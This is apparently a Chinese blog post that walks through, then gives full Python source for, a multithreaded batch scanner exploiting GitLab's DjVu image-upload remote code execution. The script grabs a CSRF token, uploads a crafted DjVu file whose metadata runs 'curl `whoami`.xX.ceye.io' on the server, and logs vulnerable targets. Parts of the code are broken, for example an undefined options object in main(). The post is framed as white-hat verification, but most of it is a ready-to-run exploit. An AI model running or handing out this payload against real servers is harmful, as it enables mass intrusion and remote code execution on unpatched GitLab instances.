前言: 作为一名白帽,写脚本能快速的在挖洞过程中快速的批量验证。
为了让笔记更有实用性,这里以poc的形式:
Gitlab由于文件解析器对上传的dvju格式的jpg文件校验不严,导致远程代码执行RCE,
Poc利用链:
01.获取"/users/sign_in"页面的session,得到返回包的X-CSRF-Token,
02.利用’X-CSRF-Token’ 请求"/uploads/user" 上传页面,
03.构造带有dnslog命令的poc图片 dnglog_cmd = "curl whoami
.xX.ceye.io"上传远程代码执行
01.Https站点请求requests:
header(verify=False) 移除SSL认证
requests.packages.urllib3.disable_warnings() 忽略关闭SSL中的警告
header(timeout=3) 处理请求服务器不能及时响应,请求超时的问题,代码就卡在哪里
02.Requests.session()发送请求:
session = requests.session() 会话能让我们在跨请求的时候保持某些参数
比如这里请求"/users/sign_in"和"/uploads/user"
03.Re正则匹配返回包
某返回包内容meta name=“csrf-token”
content=“ZxRqn/ltWp9B/4nrjNz6Qei0KC4L4MId1aCdN7MR04T3srBeAPie2wkLavXGc8MkAcR0bKdS5RkBombRN4QbRg==”
匹配content部分:token = re.findall(r’name=“csrf-token” content="(.+?)"’,r.text)
04.批量请求异常处理
try 处理正常GET和POST模块,except处理链接超时模块 比如 try:
r = session.get(Dwa_url,headers=header,verify=False)
except:
print("[-] connect fail")
- open()函数文件写入读取
(a:附加写方式打开,不可读;a+: 附加读写方式打开) (以w方式打开,不能读出。w+可读写) 例如 with
open(‘vuln_url’,“w+”) as f:
06.命令行参数
保存有命令行参数值。只要知道 命令行参数名
python"> parser=optparse.OptionParser()# 创建一个OptionParser对象
parser.add_option("-u","--url",dest="url",help="The url that should be Dwa_url")
parser.add_option("-f","--file",dest="file",help="The url that should be Dwa_urlfile")
(options,args)=parser.parse_args()
options:保存有命令行参数值。只要知道 命令行参数名,可以访问其对应的值
with open(options.file,“r”) as f:
print(options.file)
f.read().split("\n") 读取不包括\n
07.多线程批量发包
while True: 循环发包 import threading 导入threading模块 if
threading.active_count() <= 10 设置线程数,不大于10 t =
threading.Thread(target=inspect,args=(gitlab[i],)) 设置线程对象t, t.start()
开始线程if threading.active_count() == 1: 线程为1,意味停止 break
完整源码,大部分参考公众号 "渗透安全团队’’
python">import re,requests
import optparse
requests.packages.urllib3.disable_warnings()
import threading
print("""
/******** /** /********** \* ** /*
|__ **__/ | ** || * \** *** | *
| ** /****** /*******| ** || ** ******** /****** /****** | *** * * /******
| ** /**__ ** /**__ ***| ** ||******* |****** / **__ ** / **__ **| ****** * /**__ **
| **| ** \ **| ** \ **| **| ||******* |** ** | ******* | | ** * * | ** \ **
| **| ** | **| ** | **| **| || ** |** ** | **____/ | | ** * * | ** | **
| **| ******/| ******/| **| || * |** ** | ****** | ******| ** ***/| ******/
|__/ \______/ \_______/ | __/ \\___****** |_____/ \________/ \_______/ \________/ \______/
""")
def inspect(target_url):
#获取当前session和response,页面/users/sign_in,
session = requests.Session()
Dwa_url = target_url
Dwa_url = target_url+"/users/sign_in"
#print(Dwa_url)
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
#"Content-Type": "application/x-www-form-urlencoded"
}
try:
r = session.get(Dwa_url,headers=header,verify=False)
print(r.status_code)
token = re.findall(r'name="csrf-token" content="(.+?)"',r.text)
token = ''.join(token)
print(token)
#except:
# print('Dwa_url has error')
dnglog_cmd = "curl `whoami`.xX.ceye.io"
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ dnglog_cmd+"} . \\\n\" b \") ) " \
" \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
#构造header请求payload /uploads/user地址
header1 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
r2 = session.post(target_url + "/uploads/user", data=data, headers=header1, verify=False,timeout=3)
print(r2.status_code)
if r2.text.find("Failed to process image") != -1:
print('vuln has exist!!!')
with open('vuln_url',"w+") as f:
f.write("[+] 存在远程RCE漏洞:{}\n".format(target_url))
else:
print('vuln has false!!')
except:
print("[-] Coneect Timeout !")
def main():
parser=optparse.OptionParser()# 创建一个OptionParser对象
parser.add_option("-u","--url",dest="url",help="The url that should be Dwa_url")
parser.add_option("-f","--file",dest="file",help="The url that should be Dwa_urlfile")
#args.file = options.file
# Dwa_url=options.url
# inspect(Dwa_url)
with open(options.file,"r") as f:
gitlab = f.read().split("\n")
i=0
while True:
if i < len(gitlab) and threading.active_count() <= 8:
target_url = gitlab[i]
print(gitlab[i])
t = threading.Thread(target=inspect,args=(gitlab[i],))
t.start()
i +=1
print("[*] 剩下数量:",i, "/", len(gitlab))
if i == len(gitlab) and threading.active_count() == 1:
print("[*] done result write in gitlab.txt !")
break
if __name__ == '__main__':
main()
稍微修改后,批量的结果: